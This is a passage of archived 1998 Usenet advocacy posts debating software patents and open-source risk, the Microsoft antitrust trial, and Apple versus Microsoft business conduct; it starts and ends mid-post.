there have been claims about hidden APIs that allow Microsoft's
applications (e.g., Word) to run faster than competitors.
There appears to be a pattern: control the critical foundation software
that others must use, and then leverage that control to beat
competition in applications that must use that foundation.
Market share first, followed by control, and finally profit.
Todd
From: physrmh@phys.canterbury.ac.nz (Ryurick M. Hristev)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 11 Nov 1998 14:16:53 +1300
Organization: University of Canterbury
Message-ID: <qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com>
"Karsten M. Self" <kmself@ix.netcom.com> writes:
> Ryurick M. Hristev wrote:
> >
> > "Karsten M. Self" <kmself@ix.netcom.com> writes:
>
> > > There's even the possibility that Microsoft could encourage others to do
> > > its dirty work for it. The Wang v. Netscape "save as" suit this spring
> > > (dismissed by the court) certainly has a funny smell to it. Microsoft
> > > acquired a 10% stake in Wang following the companies' own patent
> > > skirmish.
[...]
> > This is just FUD.
[...]
> Further, patent infringement applies equally to manufacture, sale, or
> use. Your example of moving devlopment offshore would help software
> developers, but would do nothing to protect the interests of US-based
^^^^^^^^
And who's fault is if US have (IMHO) moronic laws with respect to
so called "software" patents and cryptography ? So, these
"US-based vendors or users" have nothing to say about the abuse of
patent law ?
> vendors or users of potentially infringing software. As is pointed out
> elsewhere, this could have a negative affect on adoption.
No, it will hamper the usage only of a few modules/apps and only in US.
The rest of the development may move off-shore and the rest of the
world may happily use Linux while US citizens happily use MS Windows ;-)
> Patent infringement is not specific to use, even less so to specific
> software packages. Again see Jerome Lemelson for markedly broad
> interpretations of 20 and 30 year old patents to technologies such as
> grocery bar code scanners and video recorders. A recurring area of
> concern is the GIMP, the GNU image manipulation program. Because of
> patent restrictions it cannot legally produce GIF image files nor CYMK
> color correction. Both are essential requirements of commercial graphic
> artists. The patents are hardly "software" patents -- they are graphics
> methods. A Unix background is no bulletproof shield for Linux.
The GIF format is anyway obsolete and less good than PNG which is
"free". But anybody wants to use GIF he/she should be free to shoot
itself in the foot.
I can perfectly understand the patent issue, *in general*. However is
seems to me that it have been grossly abused, over and over again, by
companies who take advantage of the fact that patent offices are
(probably) understaffed with qualified people (or was this on purpose ?)
> With the cost of patent litigation -- $100k (US) average for pre-trial
> costs, $1m (US) to go to trial, threat of suit could be sufficient to
> sway decisions to use OSS (deemed risky) or "patent-safe" proprietary
> code.
In US only, don't forget this. And yes the law is a whole new
"productive" market: Can't win trough normal means ? Sue !
What the heck, AFAIK California only have more layers that the whole Europe ;-)
Let protect our idiotic citizens against dropping their hot coffee on
their legs and even encourage them to do so, to become millionaires ;-)
Even more, is perfectly logical and just to declare a person not
guilty of murder in one trial and then guilty in another one.
Oh yeah, it makes a lot of sense to me.
Ok, Ok, I'm off :-)
Cheers,
--
-----BEGIN GEEK CODE BLOCK-----
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e+++ h--- r+++ y?
------END GEEK CODE BLOCK------
Newsgroups: comp.sys.next.advocacy,comp.sys.next.bugs,comp.sys.next.hardware
From: news@news.msfc.nasa.gov
Message-ID: <cancel.364b23a6.0@news.amaesd.k12.mi.us>
Control: cancel <364b23a6.0@news.amaesd.k12.mi.us>
Subject: cmsg cancel <364b23a6.0@news.amaesd.k12.mi.us>
Organization: http://www.msfc.nasa.gov/
Date: Fri, 13 Nov 1998 02:52:21 GMT
Sender: moregreenbacks@hotmail.com
Make Money Fast post canceled by J. Porter Clark.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2CH1x.MEL@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1>
Date: Fri, 13 Nov 1998 05:10:45 GMT
Sender: adt@netcom9.netcom.com
Rob Barris (rbarris@quicksilver.com) wrote:
: adt@netcom.com (Anthony D. Tribelli) wrote:
: > Yep, I read that. I'm not defending Microsoft, just pointing out that
: > Apple is no shining example of corporate morality. Apple feels threatened
: > by clones, they attack. Microsoft feels threatened by Netscape and Java,
: > they attack. Both companies will shed blood.
:
: But was Apple's cloning move illegal?
In reality probably not, and many of the heinous acts committed by
Microsoft are probably not illegal either. However in the original post
that I responded to someone was suggesting that it is illegal to kill (or
threaten) another company by denying it software that it needs to survive.
I just thought I'd give that poster another angle on that theory.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: "Knife the baby" finally appears
Message-ID: <edewF28DG9.DwM@netcom.com>
Sender: edew@netcom10.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <yl3u30ch3rl.fsf@shell8.ba.best.com> <19981106200355201439@pm2-2-04.aug.com> <tbrown-0811981030000001@mv174.axom.com>
Date: Wed, 11 Nov 1998 00:02:33 GMT
In article <tbrown-0811981030000001@mv174.axom.com> tbrown@netset.com (Ted Brown) writes:
>In article <19981106200355201439@pm2-2-04.aug.com>, nojunkhattonr@aug.com
>(Rick) wrote:
>
>>Robert Nicholson <steffi@shell8.ba.best.com> wrote:
>>
>>> True but what's going to cause MS's market share erode even if they lose
>>> this case? The standard still exists their influence still remains.
>>
>>There is the possibility that MS can be broken up into distinct
>>companies, complete with different boards. That might dent their
>>dominance.
>
>It could make them worse. After all Standard Oil and AT&T have done quite
>well for themselves after the breakup. We do have a bit more competition
>though.
>
The Standard Oil breakup was pretty successful. We now have Exxon, Chevron,
ARCO, and many others that people have no clue that they were once part
of the same company. Thus, competition happens in oil.
However, a lot of the Baby Bells are merging back again, and AT&T is still
the most dominant company in telecommunications. The only thing dereg helped
was allowing other companies like MCI and Sprint to join in the game. In
that sense dereg helped. As for neutering AT&T, it didn't do much.
Why? Perhaps its because people can easily change where they get their
gas on a weekly (or sooner) basis, whereas people usually won't change
where they get their phone service from. Well, some people do (they
change long distance carriers everytime a special offer is mailed out), but
most people don't do so because they don't really care about saving $0.03
a month for the effort of saying "yes" and possibly getting screwed some
other way.
I mean, it's hard to believe one is getting screwed by using gasoline A
versus gasoline B, but people can BELIEVE they're getting screwed by
switching to a new carrier.
I suspect if MS splits, there will be a bit more of the AT&T type thinking
than the Standard Oil thinking. Software is not enough of a commodity to
not put some scare into people. CIOs and MIS directors will still choose
MS products over competing ones because they have a fear about the software.
As for the possible breakup of MS, how will it occur? Applications go one
side, OS goes to the other? If so, I don't see how the Applications side
will survive. The OS side can slowly bring back applications by claiming
that they're just enhancements to the OS.
EDEW
From: "Christopher Hammel" <chammel@ideatech.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: History white-out... (was Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Wed, 11 Nov 1998 09:21:54 -0500
Message-ID: <72c6ch$2ve$1@news2.jic.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net><36474763.411112238@news.monmouth.com> <727kst$rj6@shelob.afs.com> <3648abc2.502343982@news.monmouth.com> <72abh1$9e8$1@nnrp02.primenet.com>
Here is the transcript of the hole program.
http://www.pbs.org/nerds/transcript.html
--
Christopher Hammel
If you eat a live frog in the morning nothing worse will happen to either of
you for the rest of the day.
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 13 Nov 1998 05:46:28 +0000
Organization: Self Analysis
Message-ID: <364BC7B4.2B3BD85A@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <935681C33D3E3A16.6DEC2EC60DE57E5D.DEAC9FAC3078F03E@library-proxy.airnews.net> <3649A58E.A3BE88BC@ieee.org> <3649BD77.4699D073@ix.netcom.com> <slrn74kqlg.sri.cbbrowne@godel.brownes.org> <364A923D.1E5D1B7D@ix.netcom.com> <364AEF59.3B9@xixaxsxtxaxtxex.xexdxu>
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Jonathan wrote:
> It has occurred to me that the U.S. patent process is fundamentally
> incompatible with the Open Source system -- namely, it seems to me that
> Open Source requires a full, public disclosure of discoveries that the
> U.S. Patent system assumes will not take place without a patent
> application.
I don't see this as incompatible. Patents serve principally to reward
inventors by providing them property rights (for a limited time) to
their inventions. What you do with this property right is up to you.
The GPL secures copyright then grants right to copy, under a specific
set of rules designed to ensure the right to full access cannot be
hindered. I'm looking for a similar mechanism under patent law --
aquire the property rights under patent, then ensure free use for free
software. If non-free use is used to subsidize this, so be it. It's an
option I'm considering, at any rate.
> Regardless, the idea you propose here is the most sensible one I've seen
> to date.
Thanks.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
9:41pm up 5 days, 13:55, 3 users, load average: 0.08, 0.05, 0.01
From: 00093182@bigred.unl.edu (Josh Hesse)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 11 Nov 1998 15:15:21 GMT
Organization: University of No Learning
Message-ID: <72c9ma$7ie@crcnis3.unl.edu>
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net>
John Caravagio (isthatspam@*spambites**aol.com) wrote:
:
: Woo hoo...*snore*
:
: This is MAC advocacy, Sparky. Who cares what those numbskulls are up to.
: Post this _exciting_ news to a more appropriate newsgroup.
:
No, this is the _NeXT_ advocacy group. Read the headers... wait... nevermind.
DAMN THE CROSSPOSTS! FULL SPEED AHEAD!
...it was a nice thought.
-Josh
--
Do not send mail to this account. Really.
"Talk about silly conspiracy theories..." -Wayne Schlitt in unl.general
This post (C)1998, Josh Hesse. Quoted material is (C) of the person quoted.
|ess|erb|unl|u| (Oo) MYTHOS How's my posting? 1-800-DEV-NULL
email: jh|e@h|ie.|.ed| /||\ NEW AEON .Sigfile freshness date: 6/30/98
Free Karate practices for UNL students & staff--- Just ask me.
"Ask Bill [Gates] why function code 6 (in QDOS and still
in MS-DOS more than ten years later) ends in a dollar
sign, no one in the world knows that but me"
-Gary Kildall
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 00:52:19 -0500
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sal@panix.com (Sal Denaro) wrote:
>Just because I choose to run Windows, doesn't give MS
>the right to restrict my choice in what else I run.
For the sake of argument, why not?
It's their OS and they can do whatever they please. If you don't like it (their
restrictions) then you don't have to use it.
If you had a Burger King franchise, wouldn't it be appropriate for them to
restrict the soft drink you sell to the brand they have contracted with or,
let's say, to their own?
Ziya Oz
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Wed, 11 Nov 1998 16:38:15 +0000
Organization: Self Analysis
Message-ID: <3649BD77.4699D073@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <935681C33D3E3A16.6DEC2EC60DE57E5D.DEAC9FAC3078F03E@library-proxy.airnews.net> <3649A58E.A3BE88BC@ieee.org>
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Bruce Hayden wrote:
> Again, the sky-is-falling attitude without much basis in fact.
> Compared to any number of other companies out there, Microsoft
> has a fairly weak patent portfolio. One problem with patent
> portfolios is that they take quite a bit of time to develop,
> and Microsoft seemed to not take them very seriously until
> they lost that case to Stac. Microsoft is still not that agressive
> getting software patents. If you want to be scared about someone
> with an overwhelming software patent portfolio and a willingness
> to use it, think of the color blue.
To date, IBM has been friendly toward OSS & Linux, and might be seen
more as a friend than a foe. They've positioned themselves as a service
company, not strictly HW or SW, and look to be in a position to profit
by OSS and probably even protect it to an extent with their portfolio.
Which doesn't mean that caution should be thrown to the wind when
dealing with them, but it's nice to have them on our side.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
8:31am up 4 days, 45 min, 3 users, load average: 0.24, 0.26, 0.15
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Fri, 13 Nov 1998 08:08:27 +0000
Organization: Self Analysis
Message-ID: <364BE8FA.CB4F79C4@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <72b6c2$16v$9@blue.hex.net> <72clqk$3ij$1@nnrp1.dejanews.com> <364A93F5.615EB064@ix.netcom.com> <72evh2$ut$1@nnrp1.dejanews.com>
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brlewis@my-dejanews.com wrote:
>
> In article <364A93F5.615EB064@ix.netcom.com>,
> kmself@ix.netcom.com wrote:
> > Use of a patented technology may also be infringing. So
> > long as this is the case, adoption of OSS by deep pockets commercial
> > concerns may be discouraged out of liability concerns.
>
> Are you saying that being a big firm with extensive resources makes you less
> likely to be sued if you make software and more likely to be sued if you use
> software? Seems inconsistent to me.
No. You're making this harder than it is.
Lawsuits are like war. They're bloody, expensive, a poor way to make
friends, and occasionally absolutely essential to survival. The
strategy is to wage one (war/lawsuit) where it does you the most good,
and where the costs are less than the benefits provided.
For commercially produced software, where you (a patentholder) suspect
your patent is being infringed, it makes sense to go after the vendor of
the product -- they are a distinct entity, you know where they live,
they have attachable assets. They may also have defenses (lawyers,
patents of their own). It doesn't make much sense to go after users
(small, substitutable, harder to identify, possibly also customers of
yours), particularly with the vendor available.
In the case of OSS, users are small, substitutable (to a certain extent,
one developer can stand in for another), and have little in the way of
assets. Users, particularly of widespread, commodity software, may be
easier to identify than programmers, and probably have greater assets.
The key question is to identify the effective strategy. A software
vendor is usually quite wedded to a product (it is their lifeblood, and
they can't readily substitute something else for it), and can be
expected to defend it vigorously. My impression (I'm hardly qualified
to comment) is that major litigation is relatively rare -- it's simply
too expensive.
A software *user* is usually much less strongly bound to a product.
Though lock-in may exist to some extent, a user doesn't have to contend
with issues of acquiring or developing a replacement product. For the
most part, they turn to an existing alternative. Linux is largely
substitutable by SCO, Solaris x86, NeXT, or RISC based Unix, and to a
lesser extent by VMS, Novell, or NT.
As I've said several times, fear is a key weapon in war, whether legal,
business, or military. If a credible threat is sufficient to deter use
of OSS, then an actual lawsuit isn't necessary. I'm looking for a way
to counter this threat.
> Anyway, if a small OSS developer did get sued, the EFF would be ready to help,
> aided by donations from large firms such as Intel and Motorola who have heavy
> stakes in OSS.
I've not seen any statement by the EFF to this effect. Do you have a
cite?
> > Fear is often the most useful weapon in battle. I'd like to see it
> > rendered ineffective WRT patents & OSS.
>
> By posting speculation to Usenet on why you think OSS is more vulnerable,
> you're providing fuel to FUD campaigns against OSS. I can see the headlines
> now:
>
> "Linux advocates in a panic over possible legal action."
> "Could your company be sued for using Linux?"
I'm hardly the only person suggesting that this danger exists. Others
include Linus Torvalds, Alan Cox, and Jeremy Allison. I think if the
danger does exist, we're doing companies considering OSS a favor by
making them aware of the issue. Moreover, I suspect that there are
fairly effective remedies available.
There's a bug in the system, I think it makes sense to characterize it
and nullify it if possible. I don't see this discussion as a bad
thing. It's what OSS is all about -- it's our strength.
As for the specific risks, what I've said is that patent infringement
extends to distribution and use, not merely production or programming.
I've made this statement a number of times, there are several *very*
qualified legal professionals following this discussion, none has chosen
yet to inform me of any error in this conclusion. AFAIK, it is an
accurate (if not technical) statement of US patent law. I welcome any
legal basis for believing differently.
> If you're really concerned, speak privately with a good lawyer and try to come
> up with a plan.
What makes you think I haven't?
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
11:31pm up 5 days, 15:45, 4 users, load average: 0.03, 0.30, 0.32
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Fri, 13 Nov 1998 08:58:08 +0000
Organization: Self Analysis
Message-ID: <364BF4A0.B0A36AE1@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <364930B0.5A8059C5@ix.netcom.com> <72cn16$4lj$1@nnrp1.dejanews.com> <364A9929.B97B3A05@ix.netcom.com> <72eukr$vvr$1@nnrp1.dejanews.com>
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brlewis@my-dejanews.com wrote:
> It is relevant to your "best friend" idea. Just because something is
> existing, highly persistent, and might be used to one's benefit does not make
> it a "best friend".
Patents delimit property. What is done with the property, how it is
shared, how it is defended, is determined by the property holder. An
imbalance of ownership will almost certainly lead to abuses.
I've suggested rectifying the imbalance. I believe that parity will
benefit all parties.
What's your solution? How do you plan to implement it?
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
12:31am up 5 days, 16:45, 4 users, load average: 0.21, 0.29, 0.26
From: Paul Wolff <paul@wolff.co.uk>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 13 Nov 1998 10:25:55 +0000
Organization: UDL (Reading)
Message-ID: <Dw59tCAzkAT2EAKw@wolff.co.uk>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net>
<36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com>
<71u48m$dop$3@news.xmission.com>
<slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org>
<3646A021.162FC622@ix.netcom.com>
<qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz>
<3647E15E.7A2232BA@ix.netcom.com>
<qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz>
<36493AF7.BDFE3CAA@ix.netcom.com> <3649E20D.7878D21E@cadence.com>
MIME-Version: 1.0
In article <3649E20D.7878D21E@cadence.com>, Simon Kinahan
<simonk@cadence.com> writes
>Karsten M. Self wrote:
>>
>> Ryurick, I'm afraid we're going to have to agree to disagree here.
>>
>> My position is this:
>>
>> - For better or worse, SW patents exist, in the US, Japan, and a number
>> of European nations. I don't know specifics, IANAL.
>
>No EU member state yet recognises software patents.
It's time to nail this, in the sense that 'software patents' is being
used in this discussion. The prevailing European view is that a
computer program as such is not patentable (it is only a set of
instructions), nor (yet, but it may change) is a computer program merely
stored on a data carrier, but software doing something technically
useful in a computer is usually patentable, and someone selling that
software would be caught by the patent as an indirect or contributory
infringer.
>The native European
>industry does not want them to.
I am sure that opinions are divided on this, as they are in US industry
too.
>The only people lobbying for it are
>American companies who feel their collections of absurdities are going to
>waste.
>
>Japan generaly copies American laws (eg. they are first-to-invent, like the
>US, whereas everywhere else is first-to-file), so you may be right there.
>
While in correction mode, I may as well point out that Japan doesn't
recognise first to invent. They are first to file, like everyone else
in the world out here.
>> - The status quo appears to put OSS at a disadvantage in the patent
>> field.
>>
>> - Patents in and of themselves are neither good nor bad.
>
>Software patents are not bad in themselves. What is bad is that companies
>have been allowed to patent things which do not meet the criteria of
>nonobviousness and novelty.
Agreed by everyone, I hope.
>It has become so expensive to challenge them
>that noone bothers. They'd rather pay the cost of licensing or
>cross-licensing. This is the situation that has to be changed.
>
Why will the United States not learn from the European model and allow
interested and knowledgeable third parties the right to take part in
straightforward and relatively inexpensive opposition proceedings at the
Patent Office, if a patent seems to be wrongly granted?
--
Paul Wolff
From: Paul Wolff <paul@wolff.co.uk>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 13 Nov 1998 10:34:04 +0000
Organization: UDL (Reading)
Message-ID: <KAi$REAcsAT2EAIj@wolff.co.uk>
References: <36425AFD.D0D8EC3D@solarsystems.com>
<36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com>
<slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org>
<3646A021.162FC622@ix.netcom.com>
<qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz>
<3647E15E.7A2232BA@ix.netcom.com>
<qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz>
<36493AF7.BDFE3CAA@ix.netcom.com> <364b1f14.1124576@news.demon.co.uk>
MIME-Version: 1.0
In article <364b1f14.1124576@news.demon.co.uk>, Anthony Ord <nws@rolling
thunder.demon.co.uk> writes
>On Wed, 11 Nov 1998 07:21:27 +0000, "Karsten M. Self"
><kmself@ix.netcom.com> wrote:
>
>>My position is this:
>>
>> - For better or worse, SW patents exist, in the US, Japan, and a number
>>of European nations. I don't know specifics, IANAL.
>
>They don't exist in the EU.
They do, sir.
>The international treaty that patents are
>based on explicitly prohibits ideas being patented.
It doesn't, sir.
>You have to have
>something physical to patent.
You don't, sir.
Opinions are fair game, but facts are sacred.
--
Obiter scripta - Paul Wolff
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Wed, 11 Nov 1998 17:50:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72cio9$mf$1@nnrp1.dejanews.com>
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net> <pxpst2-0911981623250001@pelli.pathology.pitt.edu> <isthatspam-0911981901480001@71.chestnut.fcc.net> <36479658.9574949@nntp.service.ohio-state.edu> <729th9$p93$1@nnrp1.dejanews.com> <72acu0$798$1@nnrp1.dejanews.com> <72agcb$ac6$1@nnrp1.dejanews.com> <72aocg$1f8$1@nnrp03.primenet.com>
In article <72aocg$1f8$1@nnrp03.primenet.com>,
John Jensen <jjens@primenet.com> wrote:
> Charles Swiger <chuck@codefab.com> wrote:
>: Pity Sun's doing the same thing, with "Solaris 7.0" as the successor to
>: "Solaris 2.6". I wonder if Sun's going to start having "Solaris 7.0SP1"
>: instead of patch-level releases too, just because Microsoft is doing it.
>
> Sun has been putting a lot into the .1 increments. Given the market
> reality, I don't really blame them for aligning their numbers with market
> perceptions.
>
> I thought the market perception was that you bump your Major number with
> new functionality. I'd say a 64 bit OS release qualifies.
It obviously depends on the market in question, I suppose.
There's no question that the Solaris 1 to Solaris 2 migration was exactly
that-- a migration with major changes, many things broke, yadda yadda. There
was significant new functionality added with the point releases of Solaris
2.1, 2.2, ... 2.6.
If you're never going to bump your minor version number, why have it at all?
Why not just fall back to a two-digit version number ("1.1") with the major
indicating significant changes (with possible backward comp. problems), and
the minor indicating minor updates/bugfixes....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Message-ID: <364A0E7A.8297A437@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com>
<19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <F25z88.HII@T-FCN.Net>
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Date: Wed, 11 Nov 1998 17:23:54 -0500
NNTP-Posting-Date: Wed, 11 Nov 1998 22:17:25 GMT
Organization: CWIX
Maury Markowitz wrote:
>
> You're claiming HE'S missing the point?
I'm saying he's making a point which only a lame brain would buy (no
offense intended.)
>
> Yhis clearly indicates *you're* missing the point. The "point" never had
> anything to do with money, it has to do with control. How could you
> possibly characterize Apple's revenue of QT to have anything to do with the
> issue when the whole trial is over two _free_ pacakges, Netscape and IE?
Precisely. The government's position seems to be that anyone who wants
to can compete with MS for market share by releasing and promoting free
products. However, when MS does exactly the same thing the practice
suddenly becomes an abuse of monopoly power requiring government
intervention. Rubbish.
>
> This trial is about two things, MS attempting to get other companies
> involved in market-setting and market-splitting issues, and MS's
> strongarming of the market using their monopoly power. The fact that Apple
> makes no money off of QT, and that MS wanted to split the market, in fact
> supports the point that MS is/was/is-accused-of operating illegally.
I see, then. It is perfectly OK for other companies to make demands of
MS, to make whatever deals they choose with MS, and to even sue MS when
they want to force MS to comply with their wishes, but if MS insists on
doing what it thinks is in its best economic interests to protect what
MS sees as *its* intellectual property--MS should be persecuted by the
government for being a swaggering tyrant among jelly-bellied weaklings
(like Intel.)
Oh, please....
>
> MS using it's assumed monopoly powers to take control of markets via
> _free_ software. One of these markets is browsers, another is streaming
> video. In both cases they offered "deals" to the competition to stay out
> of the market, and when the companies in question told them to get stuffed,
> they used their monopoly powers to force other companies to favour their
> products.
Before IE was, Netscape was *giving away* its browser FREE OF CHARGE to
MILLIONS of people. That's the environment MS entered when it decided to
build its own browser. Don't tell me you don't remember that? I can
easily prove it beyond a shadow of a doubt. If there had not been an IE,
what would the Netscape browsers look like today? Nobody can really
answer that question, but I think it's fair to say that Communicator
wouldn't look anything like it does.
When Steve Jobs decided that cloners had to go, what did he do? Did he
not use his own power and contacts within Apple to have everyone who
disagreed with him fired or retired? Then, did he not systematically set
upon a deliberate campaign to either pay off or drive out of business
every single Mac clone company? Yet, I'm sure you defend these actions.
What Jobs was doing was protecting Apple the best way his own limited
mentality could define doing it. Is Gates behaving any differently, or
is he just trying to protect his company in the best way his own limited
mentality can do it?
>
> Netscape has given *given it away* FREE for years too. Gee, I guess
> everyone's so stupid that they missed this critical point, except you!
> Since no one's making money on it, clearly there's no issue and they can
> just go home, right?
It is not at all clear to me that *the court* knows or cares that
Netscape was giving away free browsers by the truckload *when* MS
decided to compete with them on the browser front. Personally, I don't
think the government cares, either.
>
> > Whether the "baby" was killed or not would likely have ZERO
> > consequence on Apple's bottom line
>
> That's not the point.
It should be the point, because Apple did not have to (a) bundle IE, (b)
accept the $150 million and hype the hell out of it, (c) ever do
anything except what it wanted to do with Quicktime. Apple did what was
in *Apple's* best interests in every case.
It's pathetic, really, as these whole points hinge around conversations
and nothing more (many of them little better than hearsay and
scuttlebutt and acrimonious hind-sight).
>
> But apparently you do have to be a bright person to understand that
> giving something away for free doesn't mean it's not competing with another
> product. For instance Japan could decide that in order to take over the US
> market they should really just give their cars away for a few years. This
> would make all the US companies go under, and they they could charge what
